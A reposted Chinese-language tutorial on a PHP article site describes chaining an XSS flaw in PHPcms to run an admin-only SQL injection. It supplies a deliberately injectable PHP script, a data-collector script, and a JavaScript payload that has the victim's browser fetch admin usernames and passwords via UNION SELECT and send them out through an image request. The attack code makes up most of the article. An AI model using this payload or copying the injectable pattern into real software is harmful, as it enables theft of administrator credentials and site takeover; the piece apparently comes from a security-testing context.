Heim  >  Artikel  >  php教程  >  PHPcms利用xss执行sql注入

PHPcms利用xss执行sql注入

WBOY
WBOYOriginal
2016-06-21 08:51:16831Durchsuche

昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功!

于是乎我只有假想下一个极端环境:
1.前台有且只有一个xss漏洞(不能获取管理员cookie)
2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)
3.注入获得管理员密码可解密
4.除以上无其他任何漏洞(包括后台getwebshell)

其实我就是想说,我们只可以利用这个xss执行注入!


模拟注入漏洞代码

 

  1. sqli.php
    01     02      @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);//错误忽略
    03      $con = mysql_connect("localhost","root","");
    04      if(!$con) {die('Could not connect: ' . mysql_error());}
    05      mysql_select_db("test",$con);
    06      $id = $_GET['xss'];
    07      $sql = "select id,realname from test where id="."$id";
    08      $view = mysql_query($sql);
    09      $row = mysql_fetch_array($view);
    10      echo $row[id]."
    ";
    11      echo $row[realname]."
    ";
    12     ?>

 

  1. mysql数据库:
    1     database:test
    2     table:test、admin
    3     column:test.id、test.realname
    4                  admin.id、admin.username、admin.password

 

  1. get.php(获取的注入后数据截取)
    1     2      $file = fopen("data.txt","a");
    3      fwrite($file,$_GET['get']);
    4      fclose($file);
    5     ?>

 

  1. xsssqli.js(payload)
    01     function addLoadEvent(func)//窗口打开加载多个函数
    02     {
    03      var oldfunc=window.onload; //页面打开是加载方法
    04         if(typeof(window.onload)!="function")
    05         {
    06          window.onload=func;
    07         }
    08         else
    09         {
    10          window.onload=function()
    11          {
    12           oldfunc();
    13           func();
    14           }
    15          }
    16     }
    17     function get_xsssqli()
    18     {
    19      var url = "http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin";
    20      var ajax = null;
    21      if(window.XMLHttpRequest)
    22      {
    23       ajax = new XMLHttpRequest();
    24      }
    25      else if(window.ActiveXObject)
    26      {
    27       ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
    28      }
    29      else
    30      {
    31       return;
    32      }
    33      ajax.open("GET", url, true);
    34      ajax.send(null);
    35      ajax.onreadystatechange = function()
    36      {
    37       if(ajax.readyState == 4 && ajax.status == 200)
    38       {
    39        var img = document.createElement("img");
    40        img.src = "http://127.0.0.1/xss/get.php?get="+ajax.responseText;
    41        document.body.appendChild(img);
    42       }
    43      }
    44     }
    45     addLoadEvent(get_xsssqli);

 

  1. 模拟xss漏洞
    1    
    2      
    3       use xss to sqli
    4      
    5      
    6      
    7      
    8    

最后成功得到数据:



当然你也可以写个正则截获指定数据!

 

来自:http://superman.php100.com/



Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn